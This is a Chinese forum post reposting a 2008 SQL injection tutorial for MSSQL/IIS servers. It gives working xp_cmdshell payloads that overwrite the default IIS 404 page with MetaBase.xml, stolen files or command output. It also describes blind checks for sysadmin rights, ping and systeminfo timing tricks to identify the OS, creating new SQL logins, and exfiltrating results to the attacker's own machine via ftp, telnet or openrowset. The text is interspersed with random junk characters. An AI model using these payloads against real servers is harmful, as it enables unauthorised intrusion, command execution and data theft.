找回密码
 立即注册
查看: 2409|回复: 0
打印 上一主题 下一主题

28度的冰注入技巧之(一)——404页面的妙用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:15:42 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。* I5 F/ \. U: H0 w$ y1 B; j. q7 Z  \

; E4 }/ A# a) ~; F) t$ ^! M/ b1 D/ c  虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
0 o5 K7 G. `: @8 K7 A) C! ~0 C( U  {7 J, V' ~) e* c2 i0 W1 O
  这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。& t$ b+ L5 F" H. ?7 E
! N6 x8 \, V% I1 O  d2 F4 c
  IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
4 P, G% D$ N3 M+ |  R- s0 Z& P' P2 @4 @1 J  x3 [$ {
  得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--( i& n! M. q) g/ E7 ~( x3 W
4 }! }9 [  L: x# l9 {* O
  ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
5 ?. w1 G+ |3 s' R! ?
3 F2 o$ V% W% m3 e1 h' K  执行命令得到回显, t9 m7 G9 z- l6 n

* K5 q+ V" b' `  j$ O  通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
% f/ V$ ]1 ^! v8 V$ U, M  M3 T6 N3 K* u
  得到文件也shi相同,把文件copy到404b.htm就行了! X% r2 l0 ?* o+ @# I9 A2 t

7 w) Q  u0 [/ {  O. g/ y  by 28ice, 2008/6/26
# }# j2 t; h4 n4 e. H* A: M. [- U8 _$ Z5 h5 [) |# T6 S, C0 i
  摘自 28度的冰( S0 E& S: t# w  ?5 \
5 P0 H1 j$ Y, N
  盲注判断权限和操作系统版本
. r7 f) F. n1 O& z/ z
$ U7 A: V) ~1 H2 e, w1 O7 [+ X  首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?8 A5 j  ?) w! K: n! a' G

# j3 M7 |' q1 Y% E  最简单的,可能以用这样的方法:
2 D. N0 w1 k# d$ ^
' O0 E5 W3 r+ p8 w3 W  1=(select IS_SRVROLEMEMBER(’sysadmin’))1 x( h+ K; \2 u* _
! x% R2 q$ S5 O6 E: y) A  Q
  当然,有些情况下,这个方法并不奏效。
: i1 l0 z  w% E0 E
0 ^6 g$ a! x9 W' ?' \  既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
' g1 [/ F9 A4 ^- i/ n, f0 K6 f# w8 b; O. J, c9 Q# d8 o: J8 m
  有个3办法可能以解决这个问题8 k/ B0 q7 U: P4 X: \9 _+ k0 i

% C1 p" s  t, D0 u  a.把执行结果写到404b.htm,具体请看我的上一篇文章
& k* t! J# ?7 C. T% N& l: @" ?' f: O9 s7 M: z/ a" a
  b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟' G2 p3 A1 `- P, t& b$ W
  A* Y  p3 n& K4 U3 |* Q
  c.如果1433端口可能以连接,那干脆新建个sql登录* P5 \, G; N4 R6 j) @
4 P1 c- H, p. Y; g
  d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数4 U( `+ G/ J8 x4 h
8 ]/ x' X, _6 O! A0 `9 L) ?4 r. C, S0 H) z
  还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
: ], u& r( F8 Y) m# R
; |1 H+ W: x7 |; y; E  F# P  很简单
( M& R: P; c. x8 P$ T0 B4 D: Z
) P) R6 K! |9 u8 ^5 o& N& p  执行systeminfo: s" j+ ?3 Q! `! }9 H1 i4 b
, g7 I/ T1 E" `/ h$ {
  在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表